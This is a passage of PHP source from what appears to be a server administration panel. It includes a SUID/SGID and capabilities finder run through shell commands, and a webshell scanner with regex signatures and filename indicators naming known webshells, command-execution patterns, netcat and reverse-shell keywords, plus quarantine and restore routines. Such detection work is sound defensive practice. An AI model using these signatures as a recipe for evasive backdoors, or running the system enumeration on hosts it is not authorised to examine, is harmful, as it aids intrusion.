$lines = array(‘=== DNS LOOKUP: ‘ . $host . ‘ ===’, ”);
if ($type === ‘ALL’) {
foreach ($map as $label => $const) {
$recs = @dns_get_record($host, $const);
if (!empty($recs)) {
$lines[] = ‘— ‘ . $label . ‘ —‘;
foreach ($recs as $r) {
$lines[] = json_encode($r, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
}
$lines[] = ”;
}
}
} else {
if (!isset($map[$type])) return array(‘ok’ => false, ‘error’ => ‘Invalid record type’);
$recs = @dns_get_record($host, $map[$type]);
if (empty($recs)) {
$lines[] = ‘(no ‘ . $type . ‘ records)’;
} else {
foreach ($recs as $r) {
$lines[] = json_encode($r, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
}
}
}
if (count($lines) <= 2) $lines[] = '(no records found)';
return array('ok' => true, ‘output’ => implode(“\n”, $lines));
}
function secSuidFind($baseDir)
{
$isWin = strtoupper(substr(PHP_OS, 0, 3)) === ‘WIN’;
if ($isWin) {
return array(‘ok’ => true, ‘output’ => “=== SUID/SGID SCAN ===\nLinux/Unix only.\n”);
}
$suid = runTerminal(‘find /usr /bin /sbin /home /opt /tmp /var -perm -4000 -type f 2>/dev/null | head -80’, $baseDir);
$sgid = runTerminal(‘find /usr /bin /sbin /home /opt /tmp /var -perm -2000 -type f 2>/dev/null | head -40’, $baseDir);
$cap = runTerminal(‘getcap -r /usr /bin /sbin 2>/dev/null | head -40’, $baseDir);
$out = “=== SUID BINARIES (setuid) ===\n” . trim($suid[‘output’]) . “\n\n”;
$out .= “=== SGID BINARIES (setgid) ===\n” . trim($sgid[‘output’]) . “\n\n”;
$out .= “=== CAPABILITIES ===\n” . trim($cap[‘output’]);
return array(‘ok’ => true, ‘output’ => $out);
}
function btGetScanRoots($baseDir, $scanPath)
{
$roots = array();
if ($scanPath !== ”) {
$resolved = resolvePath($baseDir, $scanPath, false);
if ($resolved && @is_dir($resolved)) $roots[] = $resolved;
}
if (empty($roots)) {
$roots[] = $baseDir;
$docRoot = isset($_SERVER[‘DOCUMENT_ROOT’]) ? $_SERVER[‘DOCUMENT_ROOT’] : ”;
if ($docRoot && @is_dir($docRoot)) $roots[] = $docRoot;
foreach (array(‘/var/www’, ‘/home’, ‘/tmp’, ‘/var/tmp’, ‘/opt’, ‘/srv’, ‘/usr/local’) as $r) {
if (@is_dir($r) && !in_array($r, $roots, true)) $roots[] = $r;
}
}
return array_values(array_unique($roots));
}
function btWebshellSignatures($aggressive)
{
$sigs = array(
array(‘pattern’ => ‘/eval\s*\(\s*base64_decode/is’, ‘score’ => 45, ‘name’ => ‘eval(base64_decode())’),
array(‘pattern’ => ‘/eval\s*\(\s*gz(inflate|uncompress|decode)/is’, ‘score’ => 45, ‘name’ => ‘eval(gz*)’),
array(‘pattern’ => ‘/eval\s*\(\s*str_rot13/is’, ‘score’ => 40, ‘name’ => ‘eval(str_rot13())’),
array(‘pattern’ => ‘/eval\s*\(\s*gzuncompress/is’, ‘score’ => 45, ‘name’ => ‘eval(gzuncompress)’),
array(‘pattern’ => ‘/assert\s*\(\s*\$_(GET|POST|REQUEST|COOKIE)/is’, ‘score’ => 45, ‘name’ => ‘assert($_INPUT)’),
array(‘pattern’ => ‘/preg_replace\s*\([^)]*\/e[“\’]/is’, ‘score’ => 45, ‘name’ => ‘preg_replace /e’),
array(‘pattern’ => ‘/create_function\s*\(/is’, ‘score’ => 35, ‘name’ => ‘create_function()’),
array(‘pattern’ => ‘/(shell_exec|system|passthru|proc_open|popen|pcntl_exec)\s*\([^)]*\$_(GET|POST|REQUEST)/is’, ‘score’ => 40, ‘name’ => ‘cmd_exec($_INPUT)’),
array(‘pattern’ => ‘/@eval\s*\(/is’, ‘score’ => 35, ‘name’ => ‘@eval()’),
array(‘pattern’ => ‘/gzinflate\s*\(\s*base64_decode/is’, ‘score’ => 40, ‘name’ => ‘gzinflate(base64)’),
array(‘pattern’ => ‘/base64_decode\s*\(\s*[\’”][A-Za-z0-9+\/=]{80,}/is’, ‘score’ => 25, ‘name’ => ‘long base64 blob’),
array(‘pattern’ => ‘/\$_(GET|POST|REQUEST|COOKIE)\s*\[[^\]]+\]\s*\(/is’, ‘score’ => 30, ‘name’ => ‘variable func call $_INPUT’),
array(‘pattern’ => ‘/(FilesMan|c99shell|r57shell|WSO\s|b374k|alfa\s*shell|AnonymousFox|IndoXploit|Gecko\s*Shell|mini\s*shell)/is’, ‘score’ => 50, ‘name’ => ‘known webshell brand’),
array(‘pattern’ => ‘/move_uploaded_file\s*\([^)]+\)\s*;[\s\S]{0,200}(eval|assert)/is’, ‘score’ => 35, ‘name’ => ‘upload+eval’),
array(‘pattern’ => ‘/\\$\{\s*[\’”]\\\\x/is’, ‘score’ => 30, ‘name’ => ‘hex var obfuscation’),
array(‘pattern’ => ‘/(passthru|shell_exec|system|exec)\s*\(\s*\$_(GET|POST|REQUEST)/is’, ‘score’ => 40, ‘name’ => ‘direct webshell cmd’),
array(‘pattern’ => ‘/php:\/\/input/is’, ‘score’ => 15, ‘name’ => ‘php://input wrapper’),
array(‘pattern’ => ‘/(cmd|command|exec|shell|backdoor)\s*[\’”]?\s*=>\s*\$_(GET|POST|REQUEST)/is’, ‘score’ => 30, ‘name’ => ‘cmd parameter handler’),
array(‘pattern’ => ‘/chr\s*\(\s*\d+\s*\)\s*\.\s*chr/is’, ‘score’ => 20, ‘name’ => ‘chr() obfuscation chain’),
array(‘pattern’ => ‘/\\$[a-zA-Z_\x7f-\xff]{1,8}\s*=\s*[\’”][a-zA-Z0-9+\/=]{100,}[\’”]/is’, ‘score’ => 15, ‘name’ => ‘suspicious encoded string’),
array(‘pattern’ => ‘/\\$_(GET|POST|REQUEST|COOKIE)\s*\[[^\]]+\]\s*\(\s*\$_(GET|POST|REQUEST)/is’, ‘score’ => 35, ‘name’ => ‘double $_INPUT invoke’),
array(‘pattern’ => ‘/(include|require)(_once)?\s*\(\s*\$_(GET|POST|REQUEST)/is’, ‘score’ => 35, ‘name’ => ‘dynamic include $_INPUT’),
array(‘pattern’ => ‘/file_put_contents\s*\([^,]+,\s*\$_(POST|REQUEST)/is’, ‘score’ => 30, ‘name’ => ‘file_put from POST’),
array(‘pattern’ => ‘/\\$[a-z_]+\s*=\s*str_replace\s*\([^)]+\)\s*;\s*eval/is’, ‘score’ => 35, ‘name’ => ‘str_replace+eval’),
array(‘pattern’ => ‘/call_user_func\s*\(\s*[\’”]assert[\’”]/is’, ‘score’ => 35, ‘name’ => ‘call_user_func assert’),
array(‘pattern’ => ‘/ReflectionFunction\s*\(/is’, ‘score’ => 20, ‘name’ => ‘ReflectionFunction’),
array(‘pattern’ => ‘/\\$_(SERVER|FILES)\s*\[[^\]]+\]\s*\(/is’, ‘score’ => 25, ‘name’ => ‘$_SERVER/FILES invoke’),
array(‘pattern’ => ‘/`[^`]*\$_(GET|POST|REQUEST)/is’, ‘score’ => 35, ‘name’ => ‘backtick cmd $_INPUT’),
array(‘pattern’ => ‘/\\$[a-zA-Z0-9_]+\s*=\s*\\$[a-zA-Z0-9_]+\s*\(\s*\\$[a-zA-Z0-9_]+\s*\)\s*;\s*\\$[a-zA-Z0-9_]+\s*\(/is’, ‘score’ => 20, ‘name’ => ‘variable function chain’),
array(‘pattern’ => ‘/(cmd\.exe|\/bin\/sh|\/bin\/bash).*\\$_(GET|POST|REQUEST)/is’, ‘score’ => 35, ‘name’ => ‘shell binary + input’),
array(‘pattern’ => ‘/\\$[a-zA-Z0-9_]{1,3}\s*=\s*[\’”]\\x[0-9a-f]{2}/is’, ‘score’ => 18, ‘name’ => ‘hex byte construction’),
array(‘pattern’ => ‘/\\$GLOBALS\s*\[[^\]]+\]\s*\(/is’, ‘score’ => 22, ‘name’ => ‘$GLOBALS func call’),
array(‘pattern’ => ‘/(WSO|uploader|FilesMan|Mini Shell|Bypass|Safe0ver|Locus7s)/is’, ‘score’ => 40, ‘name’ => ‘webshell keyword’),
array(‘pattern’ => ‘/\\$_(GET|POST|REQUEST)\s*\[[\’”]pass[\’”]\]/is’, ‘score’ => 18, ‘name’ => ‘password gate $_INPUT’),
array(‘pattern’ => ‘/fsockopen\s*\([^)]+\$_(GET|POST|REQUEST)/is’, ‘score’ => 30, ‘name’ => ‘fsockopen backconnect’),
array(‘pattern’ => ‘/stream_socket_client\s*\(/is’, ‘score’ => 12, ‘name’ => ‘stream_socket_client’),
array(‘pattern’ => ‘/\\$[a-zA-Z0-9_]+\s*=\s*\\$\{[^}]+\}/is’, ‘score’ => 18, ‘name’ => ‘variable variables’),
);
if ($aggressive) {
$sigs = array_merge($sigs, array(
array(‘pattern’ => ‘/<\?php/is', 'score' => 8, ‘name’ => ‘php open tag’),
array(‘pattern’ => ‘/\\$_(GET|POST|REQUEST|COOKIE)\s*\[/is’, ‘score’ => 8, ‘name’ => ‘superglobal input access’),
array(‘pattern’ => ‘/(shell_exec|system|passthru|exec|popen|proc_open)\s*\(/is’, ‘score’ => 12, ‘name’ => ‘dangerous function’),
array(‘pattern’ => ‘/base64_decode\s*\(/is’, ‘score’ => 10, ‘name’ => ‘base64_decode()’),
array(‘pattern’ => ‘/(eval|assert)\s*\(/is’, ‘score’ => 15, ‘name’ => ‘eval/assert call’),
array(‘pattern’ => ‘/\\$_(GET|POST|REQUEST)\s*\[[\’”]cmd[\’”]\]/is’, ‘score’ => 25, ‘name’ => ‘cmd parameter’),
array(‘pattern’ => ‘/\\$_(GET|POST|REQUEST)\s*\[[\’”]0[\’”]\]/is’, ‘score’ => 20, ‘name’ => ‘array index 0 input’),
array(‘pattern’ => ‘/auto_prepend_file|auto_append_file/is’, ‘score’ => 30, ‘name’ => ‘auto_prepend injection’),
array(‘pattern’ => ‘/AddHandler\s+application\/x-httpd-php/is’, ‘score’ => 25, ‘name’ => ‘htaccess php handler abuse’),
array(‘pattern’ => ‘/\\$_(GET|POST|REQUEST)\s*\[[\’”]z[0-9]?[\’”]\]/is’, ‘score’ => 22, ‘name’ => ‘obfuscated param z*’),
array(‘pattern’ => ‘/pack\s*\(\s*[\’”]H\*[\’”]/is’, ‘score’ => 15, ‘name’ => ‘pack hex decode’),
array(‘pattern’ => ‘/strrev\s*\(\s*base64_decode/is’, ‘score’ => 28, ‘name’ => ‘strrev+base64’),
array(‘pattern’ => ‘/rawurldecode\s*\(\s*base64_decode/is’, ‘score’ => 25, ‘name’ => ‘urldecode+base64’),
array(‘pattern’ => ‘/\\$[a-zA-Z0-9_]+\(\$\{?\\$_(GET|POST|REQUEST)/is’, ‘score’ => 30, ‘name’ => ‘func variable from input’),
));
}
return $sigs;
}
function btFilenameIOCs($aggressive)
{
$iocs = array(
‘c99.php’ => 55, ‘r57.php’ => 55, ‘wso.php’ => 55, ‘wso2.php’ => 55, ‘wso1337.php’ => 55,
‘shell.php’ => 40, ‘cmd.php’ => 40, ‘backdoor.php’ => 55, ‘b374k.php’ => 55, ‘b374.php’ => 50,
‘alfa.php’ => 50, ‘alf.php’ => 45, ‘mini.php’ => 25, ‘uploader.php’ => 30, ‘upload.php’ => 20,
‘x.php’ => 25, ‘xx.php’ => 25, ‘0.php’ => 30, ‘1.php’ => 25, ‘2.php’ => 22,
‘indoxploit.php’ => 55, ‘fox.php’ => 40, ‘leaf.php’ => 35, ‘marijuana.php’ => 50,
‘adminer.php’ => 10, ‘.user.ini’ => 25, ‘php.ini’ => 15,
‘sym403.php’ => 45, ‘symlink.php’ => 40, ‘priv8.php’ => 45, ‘root.php’ => 35,
‘hack.php’ => 40, ‘haxor.php’ => 45, ‘1337.php’ => 40, ‘locus.php’ => 40,
‘c100.php’ => 45, ‘r00t.php’ => 40, ‘sh.php’ => 35, ‘bypass.php’ => 35,
‘up.php’ => 28, ‘upl.php’ => 28, ‘filemanager.php’ => 15, ‘fm.php’ => 30,
);
if ($aggressive) {
$iocs[‘test.php’] = 12;
$iocs[‘tmp.php’] = 18;
$iocs[‘cache.php’] = 15;
$iocs[‘log.php’] = 18;
$iocs[‘images.php’] = 22;
$iocs[‘class.php’] = 12;
$iocs[‘config.php.bak’] = 30;
$iocs[‘wp-config.php.bak’] = 35;
}
return $iocs;
}
function btFilenameHeuristics($basename, &$score, &$hits, $aggressive)
{
if (preg_match(‘/^[a-f0-9]{8,}\.(php|phtml|inc|php5)$/i’, $basename)) {
$score += 28;
$hits[] = ‘hex-random filename’;
}
if (preg_match(‘/^[a-z0-9]{1,2}\.(php|phtml)$/i’, $basename)) {
$score += 22;
$hits[] = ‘short random php name’;
}
if (preg_match(‘/\.(jpg|jpeg|png|gif|ico|css|txt|zip|tar|gz|bmp|webp)\.(php|phtml|php5)$/i’, $basename)) {
$score += 38;
$hits[] = ‘double extension’;
}
if (preg_match(‘/(shell|backdoor|hack|exploit|webshell|c99|r57|wso|b374k|cmd|uploader|bypass|priv8|hax|1337|alfa|indoxploit|revshell|payload|trojan|spy|bot|nc\.|netcat|eval|base64|gzinflate|passthru|shell_exec)/i’, $basename)) {
$score += 20;
$hits[] = ‘malware keyword in filename’;
}
if ($aggressive && preg_match(‘/^(tmp|temp|cache|log|test|old|bak|backup|dump|upload|upl|img|image|thumb|avatar|icon|css|js|class|module|helper|init|core|loader|config|setup|update|fix|repair|restore|data|info|debug|dev|demo|sample|radio|content|about|theme|plugin|widget|gate|door|key|secret|hidden|stealth|ghost|shadow|priv|root|admin|wp-|xmlrpc|install|lock|radio|content|about)\d*\.(php|phtml|php5|inc)$/i’, $basename)) {
$score += 14;
$hits[] = ‘aggressive suspicious basename’;
}
}
function btSeverityLabel($score)
{
if ($score >= 50) return ‘CRITICAL’;
if ($score >= 30) return ‘HIGH’;
if ($score >= 15) return ‘MEDIUM’;
return ‘LOW’;
}
function btScanExtensions()
{
return array(‘php’, ‘phtml’, ‘php3’, ‘php4’, ‘php5’, ‘php7’, ‘php8’, ‘phar’, ‘inc’, ‘pht’, ‘phpt’,
‘asp’, ‘aspx’, ‘jsp’, ‘js’, ‘shtml’, ‘htaccess’, ‘cgi’, ‘pl’, ‘py’, ‘sh’, ‘rb’, ‘vb’, ‘vbs’);
}
function btAnalyzeFile($path, $signatures, $filenameIOCs, $selfPath, $aggressive)
{
$realSelf = realpath($selfPath);
$realPath = @realpath($path);
if ($realSelf && $realPath && $realSelf === $realPath) return null;
$score = 0;
$hits = array();
$basename = strtolower(basename($path));
$ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));
$allowedExt = btScanExtensions();
if (!in_array($ext, $allowedExt, true) && $basename !== ‘.htaccess’ && $basename !== ‘.user.ini’) {
if (!$aggressive || !preg_match(‘/\.(jpg|jpeg|png|gif|bmp|ico|svg|webp|txt|log)$/i’, $basename)) {
return null;
}
}
foreach ($filenameIOCs as $ioc => $pts) {
if ($basename === strtolower($ioc) || ($aggressive && strpos($basename, strtolower(str_replace(‘.php’, ”, $ioc))) !== false && preg_match(‘/\.(php|phtml|php5|inc|bak)$/i’, $basename))) {
$score += (int)$pts;
$hits[] = ‘filename:’ . $ioc;
}
}
btFilenameHeuristics($basename, $score, $hits, $aggressive);
$size = @filesize($path);
$maxRead = $aggressive ? 524288 : 98304;
$maxSize = $aggressive ? 8388608 : 5242880;
if ($size === false || $size > $maxSize) {
$minScore = $aggressive ? 10 : 15;
return ($score >= $minScore) ? array(‘path’ => $path, ‘score’ => $score, ‘severity’ => btSeverityLabel($score), ‘hits’ => $hits, ‘size’ => $size, ‘modified’ => @filemtime($path), ‘note’ => ‘not content-scanned (large/unreadable)’) : null;
}
$content = @file_get_contents($path, false, null, 0, min((int)$size, $maxRead));
if ($content === false || $content === ”) {
$minScore = $aggressive ? 10 : 15;
return ($score >= $minScore) ? array(‘path’ => $path, ‘score’ => $score, ‘severity’ => btSeverityLabel($score), ‘hits’ => $hits, ‘size’ => $size, ‘modified’ => @filemtime($path)) : null;
}
foreach ($signatures as $sig) {
if (@preg_match($sig[‘pattern’], $content)) {
$score += (int)$sig[‘score’];
$hits[] = $sig[‘name’];
}
}
if ($size < 250 && preg_match('/eval|assert|base64_decode|shell_exec|system\s*\(|passthru\s*\(/is', $content)) {
$score += 28;
$hits[] = 'tiny file + dangerous func';
}
if ($aggressive && preg_match('/<\?(php|=)/i', $content) && preg_match('/\.(jpg|jpeg|png|gif|bmp|ico|svg|webp|txt|css|js)$/i', $basename)) {
$score += 35;
$hits[] = 'php tag in non-php extension (polyglot)';
}
if ($aggressive && preg_match_all('/[A-Za-z0-9+\/=]{200,}/', $content, $m) && count($m[0]) >= 2) {
$score += 12;
$hits[] = ‘multiple long encoded blobs’;
}
$minScore = $aggressive ? 6 : 12;
if ($score < $minScore) return null;
return array(
'path' => $path,
‘score’ => $score,
‘severity’ => btSeverityLabel($score),
‘hits’ => array_values(array_unique($hits)),
‘size’ => (int)$size,
‘modified’ => @filemtime($path),
);
}
function btCollectCandidateFiles($roots, $baseDir, $maxFiles, $maxDepth)
{
$files = array();
$isWin = strtoupper(substr(PHP_OS, 0, 3)) === ‘WIN’;
$exts = btScanExtensions();
if (!$isWin) {
$nameParts = array();
foreach ($exts as $e) {
$nameParts[] = ‘-name ‘ . escapeshellarg(‘*.’ . $e);
}
$nameParts[] = ‘-name ‘ . escapeshellarg(‘.htaccess’);
$nameParts[] = ‘-name ‘ . escapeshellarg(‘.user.ini’);
$nameParts[] = ‘-name ‘ . escapeshellarg(‘*.php*’);
$expr = ‘\( ‘ . implode(‘ -o ‘, $nameParts) . ‘ \)’;
foreach ($roots as $root) {
$cmd = ‘find ‘ . escapeshellarg($root) . ‘ -maxdepth ‘ . (int)$maxDepth . ‘ ‘ . $expr . ‘ -type f 2>/dev/null | head -‘ . (int)$maxFiles;
$out = runTerminal($cmd, $baseDir);
foreach (explode(“\n”, $out[‘output’]) as $line) {
$line = trim($line);
if ($line !== ” && @is_file($line)) $files[$line] = $line;
}
if (count($files) >= $maxFiles) break;
}
} else {
foreach ($roots as $root) {
btWalkCandidates($root, $exts, $files, 0, $maxDepth, $maxFiles);
if (count($files) >= $maxFiles) break;
}
}
return array_values($files);
}
function btWalkCandidates($dir, $exts, &$files, $depth, $maxDepth, $maxFiles)
{
if ($depth > $maxDepth || count($files) >= $maxFiles) return;
$h = @opendir($dir);
if (!$h) return;
while (($name = readdir($h)) !== false) {
if ($name === ‘.’ || $name === ‘..’) continue;
$full = $dir . DIRECTORY_SEPARATOR . $name;
if (@is_file($full)) {
$ext = strtolower(pathinfo($name, PATHINFO_EXTENSION));
if (in_array($ext, $exts, true) || $name === ‘.htaccess’ || $name === ‘.user.ini’) {
$files[$full] = $full;
}
} elseif (@is_dir($full) && $depth < $maxDepth) {
btWalkCandidates($full, $exts, $files, $depth + 1, $maxDepth, $maxFiles);
}
if (count($files) >= $maxFiles) break;
}
closedir($h);
}
function btFormatFindings($title, $findings, $scanned, $roots)
{
usort($findings, function ($a, $b) {
return (int)$b[‘score’] – (int)$a[‘score’];
});
$lines = array(‘=== ‘ . $title . ‘ ===’, ‘Roots: ‘ . implode(‘, ‘, $roots), ‘Scanned: ‘ . $scanned . ‘ files’, ‘Findings: ‘ . count($findings), ”);
if (empty($findings)) {
$lines[] = ‘(no threats detected in scan scope)’;
return implode(“\n”, $lines);
}
foreach ($findings as $f) {
$mod = isset($f[‘modified’]) ? date(‘Y-m-d H:i’, $f[‘modified’]) : ‘-‘;
$sz = isset($f[‘size’]) ? secFormatBytes($f[‘size’]) : ‘-‘;
$lines[] = ‘[‘ . $f[‘severity’] . ‘ score:’ . $f[‘score’] . ‘] ‘ . $f[‘path’];
$lines[] = ‘ modified:’ . $mod . ‘ size:’ . $sz . ‘ signals:’ . implode(‘, ‘, $f[‘hits’]);
if (isset($f[‘note’])) $lines[] = ‘ note:’ . $f[‘note’];
}
return implode(“\n”, $lines);
}
function btWebshellScan($baseDir, $scanPath, $aggressive)
{
@set_time_limit(600);
$aggressive = ($aggressive === true || $aggressive === 1 || $aggressive === ‘1’ || $aggressive === ‘true’);
$roots = btGetScanRoots($baseDir, $scanPath);
$signatures = btWebshellSignatures($aggressive);
$filenameIOCs = btFilenameIOCs($aggressive);
$maxFiles = $aggressive ? 8000 : 2500;
$maxFindings = $aggressive ? 500 : 120;
$maxDepth = $aggressive ? 14 : 9;
$candidates = btCollectCandidateFiles($roots, $baseDir, $maxFiles, $maxDepth);
$findings = array();
foreach ($candidates as $file) {
$hit = btAnalyzeFile($file, $signatures, $filenameIOCs, __FILE__, $aggressive);
if ($hit) $findings[] = $hit;
if (count($findings) >= $maxFindings) break;
}
$mode = $aggressive ? ‘AGGRESSIVE’ : ‘STANDARD’;
$out = btFormatFindings(‘BACKDOOR / WEBSHELL SCAN [‘ . $mode . ‘]’, $findings, count($candidates), $roots);
$critical = 0;
foreach ($findings as $f) {
if ($f[‘severity’] === ‘CRITICAL’ || $f[‘severity’] === ‘HIGH’) $critical++;
}
return array(
‘ok’ => true,
‘output’ => $out,
‘count’ => count($findings),
‘critical’ => $critical,
‘scanned’ => count($candidates),
‘findings’ => $findings,
‘aggressive’ => $aggressive,
);
}
function btResolveThreatPath($baseDir, $path)
{
$path = trim((string)$path);
if ($path === ”) return null;
if (preg_match(‘/^[A-Za-z]:/’, $path) || (strlen($path) > 0 && $path[0] === ‘/’)) {
$real = @realpath($path);
return ($real && @is_file($real)) ? $real : null;
}
return resolvePath($baseDir, $path);
}
function btQuarantineDir($baseDir)
{
$tmp = sys_get_temp_dir();
if (!$tmp) $tmp = $baseDir;
$dir = rtrim($tmp, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . ‘gecko_quarantine_’ . substr(md5($baseDir), 0, 12);
if (!is_dir($dir)) {
@mkdir($dir, 0700, true);
}
return $dir;
}
function btManifestPath($baseDir)
{
return btQuarantineDir($baseDir) . DIRECTORY_SEPARATOR . ‘manifest.json’;
}
function btLoadManifest($baseDir)
{
$file = btManifestPath($baseDir);
if (!is_file($file)) return array();
$raw = @file_get_contents($file);
if (!$raw) return array();
$data = json_decode($raw, true);
if (!is_array($data)) return array();
$valid = array();
foreach ($data as $entry) {
if (!is_array($entry) || empty($entry[‘id’]) || empty($entry[‘original’])) continue;
if (!empty($entry[‘quarantine’]) && !is_file($entry[‘quarantine’])) continue;
$valid[] = $entry;
}
if (count($valid) !== count($data)) {
btSaveManifest($baseDir, $valid);
}
return $valid;
}
function btSaveManifest($baseDir, $entries)
{
$file = btManifestPath($baseDir);
@file_put_contents($file, json_encode(array_values($entries), JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT));
}
function btListQuarantine($baseDir)
{
$entries = btLoadManifest($baseDir);
usort($entries, function ($a, $b) {
return (int)(isset($b[‘moved_at’]) ? $b[‘moved_at’] : 0) – (int)(isset($a[‘moved_at’]) ? $a[‘moved_at’] : 0);
});
$dir = btQuarantineDir($baseDir);
$lines = array(‘=== QUARANTINE (TMP) ===’, ‘Location: ‘ . $dir, ‘Items: ‘ . count($entries), ”);
foreach ($entries as $e) {
$when = isset($e[‘moved_at’]) ? date(‘Y-m-d H:i:s’, $e[‘moved_at’]) : ‘-‘;
$lines[] = ‘[‘ . $e[‘id’] . ‘] ‘ . $e[‘original’];
$lines[] = ‘ quarantined: ‘ . $when . ‘ → ‘ . (isset($e[‘quarantine’]) ? $e[‘quarantine’] : ‘-‘);
}
if (empty($entries)) $lines[] = ‘(empty — no quarantined files)’;
return array(
‘ok’ => true,
‘output’ => implode(“\n”, $lines),
‘entries’ => $entries,
‘count’ => count($entries),
‘dir’ => $dir,
);
}
function btDeleteThreats($baseDir, $paths)
{
$realSelf = @realpath(__FILE__);
$quarantined = array();
$failed = array();
if (!is_array($paths)) {
if (is_string($paths) && $paths !== ”) $paths = array($paths);
else $paths = array();
}
if (count($paths) > 200) {
return array(‘ok’ => false, ‘error’ => ‘Max 200 files per batch’);
}
$qdir = btQuarantineDir($baseDir);
$manifest = btLoadManifest($baseDir);
foreach ($paths as $p) {
$p = trim((string)$p);
if ($p === ”) continue;
$resolved = btResolveThreatPath($baseDir, $p);
if (!$resolved) {
$failed[] = array(‘path’ => $p, ‘error’ => ‘Not found or not a file’);
continue;
}
if ($realSelf && $resolved === $realSelf) {
$failed[] = array(‘path’ => $p, ‘error’ => ‘Protected (scanner itself)’);
continue;
}
$id = substr(md5($resolved . microtime(true) . mt_rand()), 0, 16);
$safeName = preg_replace(‘/[^a-zA-Z0-9._-]/’, ‘_’, basename($resolved));
$qpath = $qdir . DIRECTORY_SEPARATOR . $id . ‘_’ . $safeName;
if (!@rename($resolved, $qpath)) {
if (!@copy($resolved, $qpath)) {
$failed[] = array(‘path’ => $p, ‘error’ => ‘Move to quarantine failed’);
continue;
}
@unlink($resolved);
}
$entry = array(
‘id’ => $id,
‘original’ => $resolved,
‘quarantine’ => $qpath,
‘basename’ => basename($resolved),
‘moved_at’ => time(),
);
$manifest[] = $entry;
$quarantined[] = $entry;
}
btSaveManifest($baseDir, $manifest);
$out = “=== QUARANTINE REPORT (moved to tmp) ===\n”;
$out .= ‘Location: ‘ . $qdir . “\n”;
$out .= ‘Quarantined: ‘ . count($quarantined) . ‘ · Failed: ‘ . count($failed) . “\n\n”;
foreach ($quarantined as $q) {
$out .= ‘[MOVED] ‘ . $q[‘original’] . “\n”;
$out .= ‘ → ‘ . $q[‘quarantine’] . ‘ (id:’ . $q[‘id’] . “)\n”;
}
foreach ($failed as $f) {
$out .= ‘[FAILED] ‘ . $f[‘path’] . ‘ — ‘ . $f[‘error’] . “\n”;
}
$out .= “\nFiles can be restored from Quarantine section below.”;
return array(
‘ok’ => true,
‘output’ => $out,
‘quarantined’ => $quarantined,
‘deleted’ => array_map(function ($e) { return $e[‘original’]; }, $quarantined),
‘failed’ => $failed,
‘count’ => count($quarantined),
‘dir’ => $qdir,
);
}
function btRestoreThreats($baseDir, $ids)
{
if (!is_array($ids)) {
if (is_string($ids) && $ids !== ”) $ids = array($ids);
else $ids = array();
}
if (empty($ids)) {
return array(‘ok’ => false, ‘error’ => ‘No items selected to restore’);
}
$manifest = btLoadManifest($baseDir);
$restored = array();
$failed = array();
$remaining = array();
$idSet = array_flip(array_map(‘strval’, $ids));
foreach ($manifest as $entry) {
$eid = (string)$entry[‘id’];
if (!isset($idSet[$eid])) {
$remaining[] = $entry;
continue;
}
$original = isset($entry[‘original’]) ? $entry[‘original’] : ”;
$qpath = isset($entry[‘quarantine’]) ? $entry[‘quarantine’] : ”;
if ($original === ” || !is_file($qpath)) {
$failed[] = array(‘id’ => $eid, ‘path’ => $original, ‘error’ => ‘Quarantine file missing’);
continue;
}
$dest = $original;
if (is_file($dest)) {
$dest = dirname($original) . DIRECTORY_SEPARATOR . pathinfo($original, PATHINFO_FILENAME) . ‘.restored.’ . time() . (pathinfo($original, PATHINFO_EXTENSION) ? ‘.’ . pathinfo($original, PATHINFO_EXTENSION) : ”);
}
$parent = dirname($dest);
if (!is_dir($parent)) {
@mkdir($parent, 0755, true);
}
if (!@rename($qpath, $dest)) {
if (!@copy($qpath, $dest)) {
$failed[] = array(‘id’ => $eid, ‘path’ => $original, ‘error’ => ‘Restore failed’);
$remaining[] = $entry;
continue;
}
@unlink($qpath);
}
$restored[] = array(‘id’ => $eid, ‘original’ => $original, ‘restored_to’ => $dest);
}
btSaveManifest($baseDir, $remaining);
$out = “=== RESTORE REPORT ===\n”;
$out .= ‘Restored: ‘ . count($restored) . ‘ · Failed: ‘ . count($failed) . “\n\n”;
foreach ($restored as $r) {
$out .= ‘[RESTORED] ‘ . $r[‘original’];
if ($r[‘restored_to’] !== $r[‘original’]) $out .= ‘ → ‘ . $r[‘restored_to’];
$out .= “\n”;
}
foreach ($failed as $f) {
$out .= ‘[FAILED] ‘ . (isset($f[‘path’]) ? $f[‘path’] : $f[‘id’]) . ‘ — ‘ . $f[‘error’] . “\n”;
}
return array(
‘ok’ => true,
‘output’ => $out,
‘restored’ => $restored,
‘failed’ => $failed,
‘count’ => count($restored),
);
}
function btRecentChanges($baseDir, $scanPath, $days)
{
$days = max(1, min(90, (int)$days));
$roots = btGetScanRoots($baseDir, $scanPath);
$isWin = strtoupper(substr(PHP_OS, 0, 3)) === ‘WIN’;
$lines = array(‘=== RECENTLY MODIFIED WEB FILES (last ‘ . $days . ‘ days) ===’, ”);
foreach ($roots as $root) {
if ($isWin) {
$cmd = ‘forfiles /P ‘ . escapeshellarg($root) . ‘ /S /D -‘ . $days . ‘ /M *.php 2>nul’;
} else {
$cmd = ‘find ‘ . escapeshellarg($root) . ‘ -maxdepth 8 -type f \( -name “*.php” -o -name “*.phtml” -o -name “*.js” -o -name “.htaccess” \) -mtime -‘ . $days . ‘ -printf “%TY-%Tm-%Td %TH:%TM %s %p\n” 2>/dev/null | sort -r | head -60’;
}
$out = runTerminal($cmd, $baseDir);
if (trim($out[‘output’]) !== ”) {
$lines[] = ‘— ‘ . $root . ‘ —‘;
$lines[] = trim($out[‘output’]);
$lines[] = ”;
}
}
if (count($lines) <= 2) $lines[] = '(no recent changes found)';
return array('ok' => true, ‘output’ => implode(“\n”, $lines));
}
function btWritableScan($baseDir, $scanPath)
{
$roots = btGetScanRoots($baseDir, $scanPath);
$isWin = strtoupper(substr(PHP_OS, 0, 3)) === ‘WIN’;
$lines = array(‘=== WORLD-WRITABLE / INSECURE PERMISSIONS ===’, ”);
foreach ($roots as $root) {
if ($isWin) continue;
$cmd = ‘find ‘ . escapeshellarg($root) . ‘ -maxdepth 7 -type f \( -perm -0002 -o -perm -0777 \) -ls 2>/dev/null | head -50’;
$out = runTerminal($cmd, $baseDir);
if (trim($out[‘output’]) !== ”) {
$lines[] = ‘— ‘ . $root . ‘ —‘;
$lines[] = trim($out[‘output’]);
$lines[] = ”;
}
